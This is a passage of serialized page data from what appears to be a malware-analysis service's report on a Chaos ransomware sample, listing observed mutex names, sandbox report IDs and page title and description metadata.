:7956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7956:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Local\\SM0:7956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"SM0:7956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"SM0:7956:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]}]}},"report_ids":{"sandbox_job_ids":["6ac15858aa14d56180099ef9","6a9a001ef495be5076038f23","6a83631a407ea2e5610e4514","6a56c62e0de8681a1b0aba9f","6a836193d81d0be28803bb5f"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ransom.Chaos.Generic Sample 03ff10f62625… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 03ff10f62625…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 15/24 AV engines flagged this file. 10 malicious and 35 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Chaos.Generic Sample 03ff10f62625… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 03ff10f62625…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 15/24 AV engines flagged this file. 10 malicious and 35 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Chaos.Generic Sample 03ff10f62625… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 03ff10f62625…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 15/24 AV engines flagged this file. 10 malicious and 35 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5d","11",{}]]